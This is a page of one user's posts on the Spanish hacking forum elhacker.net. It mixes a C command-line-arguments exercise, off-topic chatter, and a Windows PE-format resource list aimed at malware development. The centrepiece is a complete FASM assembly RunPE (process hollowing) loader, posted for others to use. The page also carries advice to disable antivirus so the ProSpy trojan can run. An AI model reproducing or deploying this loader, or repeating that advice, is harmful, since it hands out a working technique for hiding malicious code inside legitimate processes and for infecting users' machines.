elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Mensajes
Páginas: 1 ... 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 [64] 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 ... 123
631  Programación / Programación C/C++ / Re: Duda tonta de parámetros en: 18 Enero 2016, 17:13 pm
Fair, ¿por qué es errónea? En todo caso no eres quién mandó el ejercicio, así que no conoces el criterio de lo que se está pidiendo o como se espera hacerlo.

Yo trato de dar la respuesta más amplia posible, no sólo la que encuadra con mi preferencia personal, o la forma como YO lo haría.

Se trata de pedir dos números, y devolver su suma y su resta. Es mi opinión se pueden pedir como argumentos de main(), o de cualquier función auxiliar dentro del programa.

En términos de eficiencia e implementación es diferente, pero estoy tratando de dar una respuesta EN LA MISMA LÍNEA QUE PLANTEÓ ORIGINALMENTE EL USUARIO, es decir, respetando su esfuerzo y criterio original, para que mi respuesta pueda ser realmente útil a él.

En vez de lucirme explicando la manera sensacional COMO YO LO HARÍA, en cuyo caso me estaría respondiendo a mí mismo y no a él.

Saludos, Yoel.

Buenas, tengo este ejercicio :
escribir un programa que reciba dos números como parámetros y muestre por pantalla la syma y la resta de esos dos valores.

Yo con esta descripción no entiendo que el programa pida dos números, si no que se le deben pasar como argumento.

Para entender esto no me hace falta mandar yo el ejercicio.

Por otra parte si con ese enunciado lo que quiere el profesor es que el usuario ingrese dos numeros desde la consola que no es lo mismo que un programa reciba dos numeros como parametros estamos ante un profesor pésimo ó por lo menos su forma de expresarse.

saludos.
632  Programación / Programación C/C++ / Re: Duda tonta de parámetros en: 18 Enero 2016, 15:37 pm
Le estais dando una respuesta erronea, la solución a su ejercicio es esta:

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3.  
  4. int main(int argc, char *argv[])
  5. {
  6.    if (argc != 3)
  7.    {
  8.        printf("Error, no introduciste los parametros.");
  9.    }else{
  10.        int n1 = atoi(argv[1]);
  11.        int n2 = atoi(argv[2]);
  12.  
  13.        printf("La suma de los numeros es: %i\n", n1 + n2);
  14.        printf("La resta de los numeros es: %i\n", n1 - n2);
  15.    }
  16.    getchar();
  17.    return(0);
  18. }

Salida del programa:

Código:
C:\Users\Juan\Desktop\Ejemplo\bin\Debug>Ejemplo.exe 5 4
La suma de los numeros es: 9
La resta de los numeros es: 1

saludos.
633  Programación / Programación C/C++ / Re: Duda tonta de parámetros en: 18 Enero 2016, 14:47 pm
Esta mal.

Lee esto sobre los argumentos del main.

http://decsai.ugr.es/~jfv/ed1/c/cdrom/cap6/cap64.htm

Saludos.
634  Seguridad Informática / Análisis y Diseño de Malware / Formato PE. en: 18 Enero 2016, 01:19 am
¿Qué es el formato PE?

Según wikipedia:

Citar
El formato Portable Executable (PE) es un formato de archivo para archivos ejecutables, de código objeto, bibliotecas de enlace dinámico (DLL), archivos de fuentes FON, y otros usados en versiones de 32 bit y 64 bit del sistema operativo Microsoft Windows.

En palabras sencillas, es la estructura que tienen los archivos ejecutables.



¿Para qué nos sirve en malware?

Pues teniendo conocimientos del PE podemos desde infectar un ejecutable, hasta cargarlo en memoria sin que toque el disco (RunPE), cargar funciones sin importarlas, en fin, una seria de ventajas que sin su conocimiento no sería posible hacer o sería posible pero de mala manera.



Manuales

-Manual Formato PE - The Swash

-Importando funciones manualmente.   -> https://www.mediafire.com/file/hpbtm61ms4o9iet/1330-IMPORTANDO_FUNCIONES_MANUALMENTE_-_The_Swash.rar/file

-Relocaciones en ejecutables.   -> https://www.mediafire.com/file/l2jp79c06jgfs58/1331-RELOCACIONES_EN_EJECUTABLES_por_The_Swash.rar/file

Talleres

-Taller Secciones formato PE - The Swash

-Taller formato PE - Ferchu

-Cifrando Malware a mano - Zero.

-LoadLibrary Manual - Yuki

Códigos

-Ret Exe Corruption - Karcrack

-Runpe en ASM - fary.

-Base Relocation - Zero.

-Infección por TLS - The Swash.



Más documentación:

https://elhacker.info/manuales/PE/

Si se me escapa algo más por ahí, avisar!
635  Seguridad Informática / Análisis y Diseño de Malware / [ASM] RunPE en: 18 Enero 2016, 00:46 am
Bueno, nunca encontre un RunPE hecho en ASM, asique hace un tiempo lo programe yo mismo.
Se los dejo por aquí...


Código
  1. ; // RunPE
  2. ; // Programado por Juan fary (mDrinky)
  3. ; // drinky.94@hotmail.com
  4.  
  5. format PE GUI 4.0
  6. include 'win32ax.inc'
  7. entry start
  8.  
  9. section '.data' readable writeable
  10.  
  11.        struct CONTEXT
  12.               ContextFlags             dd ?
  13.               Dr0                      dd ?
  14.               Dr1                      dd ?
  15.               Dr2                      dd ?
  16.               Dr3                      dd ?
  17.               Dr6                      dd ?
  18.               Dr7                      dd ?
  19.               FloatSave                dd ?
  20.               SegGs                    dd ?
  21.               SegFs                    dd ?
  22.               SegEs                    dd ?
  23.               SegDs                    dd ?
  24.               Edi                      dd ?
  25.               Esi                      dd ?
  26.               Ebx                      dd ?
  27.               Edx                      dd ?
  28.               Ecx                      dd ?
  29.               Eax                      dd ?
  30.               Ebp                      dd ?
  31.               Eip                      dd ?
  32.               SegCs                    dd ?
  33.               EFlags                   dd ?
  34.               Esp                      dd ?
  35.               SegSs                    dd ?
  36.               ExtendedRegisters        rb 512
  37.        ends
  38.  
  39.        calc            db 'c:\windows\system32\calc.exe',0
  40.        bleidos         dd 0
  41.        Datos           dd 0
  42.        Espacio         dd 0
  43.  
  44.        _SI                   STARTUPINFO ?
  45.        _PI                   PROCESS_INFORMATION ?
  46.        CTX                   CONTEXT ?
  47.  
  48.        Param2          dd 0
  49.  
  50.        ; Datos PE
  51.        imagebase       dd ?
  52.        sizeofheaders   dd ?
  53.        sizeofimage     dd ?
  54.        numseciones     dd ?
  55.  
  56.  
  57. section '.code' executable readable writeable
  58. start:
  59.        invoke CreateProcessA,calc,0,0,0,FALSE,CREATE_SUSPENDED,0,0,_SI,_PI
  60.  
  61.        invoke CreateFileA,calc, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0      ; nos autoleemos
  62.        mov ebx,eax
  63.        invoke GetFileSize,ebx,0
  64.        mov edi,eax
  65.        invoke GlobalAlloc,GPTR,edi
  66.        push eax
  67.        invoke ReadFile,ebx,eax,edi,addr bleidos,0
  68.        invoke CloseHandle,ebx
  69.        pop eax
  70.  
  71.        mov [Datos],eax
  72.  
  73.        cmp word[eax],'MZ'
  74.        jne salir
  75.  
  76.        add eax,dword[eax+0x3C]  ; PE
  77.  
  78.        cmp word[eax],'PE'
  79.        jne salir
  80.  
  81.        push dword[eax+0x34] ; imagebase
  82.        pop [imagebase]
  83.  
  84.        push dword[eax+0x54] ; sizeofheaders
  85.        pop [sizeofheaders]
  86.  
  87.        push dword[eax+0x50]
  88.        pop [sizeofimage]    ; sizeofimage
  89.  
  90.        movzx ebx,word[eax+0x6] ; numero de secciones
  91.        mov [numseciones],ebx
  92.  
  93.        push eax  ; guardamos ya EAX para el final
  94.  
  95.        push eax
  96.        invoke NtUnmapViewOfSection,[_PI.hProcess],[imagebase]
  97.        invoke VirtualAllocEx,[_PI.hProcess],[imagebase],[sizeofimage],0x3000, PAGE_EXECUTE_READWRITE
  98.        mov [Espacio],eax
  99.        invoke WriteProcessMemory,[_PI.hProcess],eax,[Datos],[sizeofheaders],0
  100.        pop eax
  101.  
  102.        mov ecx,0
  103.  
  104.        add eax,0xF8 ; posicionamos en las cabeceras de sección
  105.  
  106.        EscribirSecciones:
  107.  
  108.        inc ecx
  109.  
  110.        push ecx
  111.        push eax
  112.  
  113.        mov ebx,eax
  114.        mov ebx,dword[ebx+0xC]      ; imagebase
  115.        add ebx,[imagebase]
  116.  
  117.        mov [Param2],ebx
  118.  
  119.        mov ebx,eax
  120.        mov ebx,dword[ebx+0x14]
  121.        mov edx,[Datos]
  122.        add edx,ebx
  123.  
  124.        mov ebx,eax
  125.        mov ebx,dword[ebx+0x10]
  126.  
  127.        invoke WriteProcessMemory,[_PI.hProcess],[Param2],edx,ebx,0
  128.  
  129.        pop eax
  130.        pop ecx
  131.  
  132.        add eax,0x28  ; Siguiente IMAGE_SECTION_HEADER
  133.  
  134.        cmp ecx,[numseciones]
  135.        jne EscribirSecciones
  136.  
  137.        invoke GetThreadContext,[_PI.hProcess],CTX
  138.  
  139.        invoke WriteProcessMemory,[_PI.hProcess],dword[CTX.Ebx+8],imagebase,0x4,0
  140.  
  141.        pop eax
  142.  
  143.        add eax,dword[eax+0x3C]
  144.        mov eax,dword[eax+0x28]
  145.  
  146.        mov [CTX.Eax],eax ; EntryPoint
  147.  
  148.        invoke SetThreadContext,[_PI.hProcess],CTX
  149.  
  150.        invoke ResumeThread,[_PI.hThread]
  151.  
  152.        salir:
  153.        ret
  154.  
  155. section '.idata' import data readable writeable
  156.        library NTDLL,'NTDLL.DLL',\
  157.                KERNEL32,'KERNEL32.DLL'
  158.  
  159.        import KERNEL32,\
  160.                CreateProcessA,'CreateProcessA',\
  161.                CreateFileA,'CreateFileA',\
  162.                GetFileSize,'GetFileSize',\
  163.                GlobalAlloc,'GlobalAlloc',\
  164.                ReadFile,'ReadFile',\
  165.                CloseHandle,'CloseHandle',\
  166.                VirtualAllocEx,'VirtualAllocEx',\
  167.                WriteProcessMemory,'WriteProcessMemory',\
  168.                GetThreadContext,'GetThreadContext',\
  169.                SetThreadContext,'SetThreadContext',\
  170.                ResumeThread,'ResumeThread'
  171.  
  172.        import NTDLL,NtUnmapViewOfSection,'NtUnmapViewOfSection'
636  Foros Generales / Foro Libre / Re: la bruja que exorciza los virus de tu computadora en: 18 Enero 2016, 00:18 am
Por favor, este tema es de la bruja lola  :laugh: no lo devieis!
637  Foros Generales / Foro Libre / Re: La Historia Más Grande Jamás Contada: Adolf Hitler en: 16 Enero 2016, 14:31 pm
Eso es mentira, Alemania estaba endeudada por su mala cabeza y por la que armó en la primera guerra mundial. No todos los países estaban endeudados.

Ese hombre fue un asesino y un loco y por donde lo mires no hay por donde cogerlo, no hizo nada bueno y acabo con la vida de millones de personas.... Y el que no quiera verlo pues no se....

Son 6 horas de vuestra vida que perdereis escuchando mentiras si veis el video.
638  Seguridad Informática / Seguridad / Re: dudas con prospyrat en: 16 Enero 2016, 01:04 am
y que tengo que hacer desactivar el antivirus para poder ejecutarlo?

Sí.
639  Seguridad Informática / Seguridad / Re: dudas con prospyrat en: 15 Enero 2016, 22:18 pm
No es que tenga un troyano, es que el ProSpy es un troyano.  :xD

saludos.
640  Foros Generales / Foro Libre / Re: La Historia Más Grande Jamás Contada: Adolf Hitler en: 15 Enero 2016, 17:20 pm
...

Si no lo hubieras publicado casi que mejor, porque no merece la pena ni gastar la saliva hablando acerca de ese tipo.
Páginas: 1 ... 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 [64] 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 ... 123
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines